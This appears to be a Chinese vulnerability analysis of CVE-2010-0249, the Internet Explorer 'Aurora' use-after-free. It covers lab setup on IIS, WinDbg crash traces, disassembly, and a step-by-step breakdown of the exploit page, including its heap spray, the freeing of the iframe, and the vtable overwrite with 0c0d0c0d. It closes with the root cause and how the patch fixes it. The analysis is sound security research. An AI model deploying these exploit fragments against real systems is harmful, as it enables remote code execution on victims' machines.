一
漏洞简介
二
环境配置
开启 IIS
开启 Internet Information Services:
开启 .NET Frameword 3.5 下所有选项。
计算机名 — 网站 — Default Web Site — 启动(在最右边) — 浏览 *:80(http) — 此时应可以正确访问 windows 的测试网站。
Default Web Site — 右键 — 编辑绑定 — 添加 — IP地址填写本机 IP — 端口这里使用 80。
此时会发现浏览器中可以使用访问 localhost 访问页面,但无法使用刚才设置的 IP 访问,其实是还需要配置入站规则。
笔者在操作到这一步时还遇到一个错误,提示文件夹XXX无法写入,经检查根本没有这个文件夹,笔者根据提示手动创建了这个文件夹,并给与了 EveryOne 权限后不再提示该错误。
控制面板 — 防火墙 — 高级设置 — 入站规则 — 新建规则 — 端口 — 特定本地端口 — 80 — 允许连接 — 默认勾选域、专用、公用 — 名称设置为 IIS 规则即可 — 完成(如果是在虚拟机里搞可以直接把防火墙关了就行)。
再次在浏览器使用 IP 访问页面可以发现已经可以正确访问了,至此 IIS 已正确启动,下面开始搭建本次使用的服务器。
Internet Information Services (IIS)管理器 — Default Web Site — 停止。
Internet Information Services (IIS)管理器 — 网站 — 添加网站 — 设置网站名称 — 设置网站路径 — 设置网站IP为本机IP — 设置端口为80 — 完成。
将 poc.html 文件拷贝到网站路径中。
再次在浏览器使用 IP+poc.html 访问页面可以发现已经可以正确访问。
安装虚拟机
三
漏洞复现
http://192.168.0.113/Aurora.html?rFfWELUjLJHpP
,等待windbg 断在mshtml!CElement::GetDocPtr+0x2:
处,需要注意该 poc 的堆喷射并非每次都可以成功,如未在此处断下建议多尝试几次,如正确断下则代表漏洞已复现成功,此时可在 windbg 中使用命令.dump -ma dumpfile.dmp
将异常信息全部 dump 到文件中,dumpfile.dmp 文件保存在 windbg 软件所在的目录中。四
漏洞分析
0:000> k
ChildEBP RetAddr
0012e358 7e44c4c8 mshtml!CElement::GetDocPtr+0x2
0012e37c 7e44c623 mshtml!CEventObj::GenericGetElement+0x9c
0012e38c 7e3af659 mshtml!CEventObj::get_srcElement+0x15
0012e3b0 7e2a8a23 mshtml!GS_IDispatchp+0x33
0012e430 7e2a88bf mshtml!CBase::ContextInvokeEx+0x462
0012e45c 75be1408 mshtml!CBase::InvokeEx+0x25
0012e494 75be1378 jscript!IDispatchExInvokeEx2+0xac
mov eax[ecx]
出现问题,因为这只是一条 mov 指令,所以异常必然是对 ecx 解引用导致的,也就是说此时 ecx 的值是非法地址,为了清晰的观察 ecx 的值的传递过程,此时我们将 ecx 的值标记位 leak,我们倒着推一下 leak 这个值是怎么来的。7E278C83 ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83 mov eax, [ecx] ; ecx = leak
7E278C85 call dword ptr [eax+34h]
7E278C88 mov eax, [eax+0Ch]
7E278C8B retn
7E278C8B ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
7E44C4BE push ebx
7E44C4BF mov ebx, [esi] ; leak = [esi]
7E44C4C1 mov ecx, ebx ; ebx = leak
7E44C4C3 call ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx = leak
7E44C4C8 mov eax, [eax+14Ch]
7E44C4CE mov eax, [eax+2Ch]
7E44C4D1 mov ecx, [eax+20h] ; this
五
POC分析
前置知识
◆setInterval:可按照指定的周期(以毫秒计)来调用函数或计算表达式,setInterval方法会不停地调用函数,直到 clearInterval被调用或窗口被关闭。window.setInterval(调用函数,延时时间)。
◆event.srcElement:可以捕获当前事件作用的对象。
◆document.createElement:动态创建DOM元素并插入的已有的HTML中,函数接受一个HTML标签名称并返回Element 类型的新节点。
◆unescape:可对通过 escape() 编码的字符串进行解码。
POC解密
var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
var NqxAXnnXiILOBMwVnKoqnbp = '';
for (i=0;i<RXb.length;i++) {
NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
//window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);
逐步分析
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY">
<iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" />
</span>
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX(); //堆喷射
lTneQKOeMgwvXaqCPyQAaDDYAkd =
document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz); //此处将事件对象创建了一份(引用计数加一)
document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = ""; //此处释放 iframe
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);//延时调用,访问已经被释放的内存
}
function nayjNuSncnxGnhZDJrEXatSDkpo(){
p = "u0c0fu0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0d";
for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++)
{
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p; //将全局对象中的数据改为 0c0d0c0d(覆盖虚表指针)
}
var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement; //获取一个已经置空了的对象
}
六
漏洞原理
0:000> x mshtml!*document*createEventObject*
7e216b2c mshtml!s_methdescCDocumentcreateEventObject = <no type information>
7e383b3b mshtml!CDocument::createEventObject (<no parameter info>)
int __userpurge CDocument::createEventObject@<eax>(
GUID *a1@<esi>,
CDocument *this,
struct tagVARIANT *a3,
struct IHTMLEventObj **a4)
{
v8 = CDocument::Doc(this);
v9 = 0;
if ( a4 )
{
......
v7 = v9;
v5 = CDocument::Markup(this);
v4 = CEventObj::Create((int)a1, a4, v8, 0, v5, 0, 0, v7, 0);
return CBase::SetErrorInfo(this, v4);
}
v4 = -2147024809;
return CBase::SetErrorInfo(this, v4);
}
int __userpurge CEventObj::Create@<eax>(
int a1@<esi>,struct IHTMLEventObj **a2,struct CDoc *a3,struct CElement *a4,struct CMarkup *a5,
int a6,unsigned __int16 *a7,struct EVENTPARAM *a8,int a9)
{
......
if ( !v24 )
{
if ( a6 )
{
if ( !a8 )
goto LABEL_12;
v20 = (EVENTPARAM *)_MemAlloc(0xD8u);
if ( v20 )
v21 = EVENTPARAM::EVENTPARAM(v20, a8);//调用函数 EVENTPARAM::EVENTPARAM
else
v21 = 0;
*((_DWORD *)v12 + 6) = v21;
if ( v21 )
{
*((_DWORD *)v21 + 34) = v12;
goto LABEL_12;
}
}
else
{
v18 = (EVENTPARAM *)_MemAlloc(0xD8u);
if ( v18 )
v19 = EVENTPARAM::EVENTPARAM(v18, a3, a4, a5, a8 == 0, 0, a8);
else
v19 = 0;
*((_DWORD *)v12 + 6) = v19;
......
}
CEventObj
+x04 _pparam; //EVENTPARAM *
struct EVENTPARAM
+x00 _pNode; // src element(CTreeNode)
+x04 _pNodeFrom // for move,over,out
+x08 _pNodeTo // for move,over,out
EVENTPARAM *__thiscall EVENTPARAM::EVENTPARAM(EVENTPARAM *this, const struct EVENTPARAM *a2)
{
......
qmemcpy(this, a2, 0xD8u); //内存拷贝
v3 = *((_DWORD *)this + 25);
*((_BYTE *)this + 169) &= ~4u;
......
return this;
}
bu mshtml!CIFrameElement::CIFrameElement
bu mshtml!CTreeNode::CTreeNode
0:000> u 7e25bc68
mshtml!CIFrameElement::`vftable':
7e25bc68 bf002d7ecd mov edi,0CD7E2D00h
7e25bc6d a5 movs dword ptr es:[edi],dword ptr [esi]
7e25bc6e 27 daa
7e25bc6f 7e1a jle mshtml!CIFrameElement::`vftable'+0x23 (7e25bc8b)
7e25bc71 8c27 mov word ptr [edi],fs
7e25bc73 7e6d jle mshtml!CIFrameElement::`vftable'+0x7a (7e25bce2)
7e25bc75 df2e fild qword ptr [esi]
7e25bc77 7e3d jle mshtml!CIFrameElement::`vftable'+0x4e (7e25bcb6)
0:000> dd 01ca1710
01ca1710 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1720 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1730 0c0d0c0d 0c0d0c0d 00000000 00000000
01ca1740 00000054 0c0d0c0f 0c0d0c0d 0c0d0c0d
01ca1750 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1760 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1770 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1780 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
七
分析结论
在补丁前,上述过程没有增加CTreeNode的引用计数,在精心构造的html中,有可能导致CTreeNode已经释放,而EVENTPARAM的pNode却仍然指向它,导致释放后重用。
补丁后,在EVENTPARAM::EVENTPARAM中,对上述情况作了处理,增加CTreeNode的引用计数,不会再导致问题。
看雪ID:简单的简单
https://bbs.kanxue.com/user-home-950902.htm
# 往期推荐
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):漏洞分析 CVE-2010-0249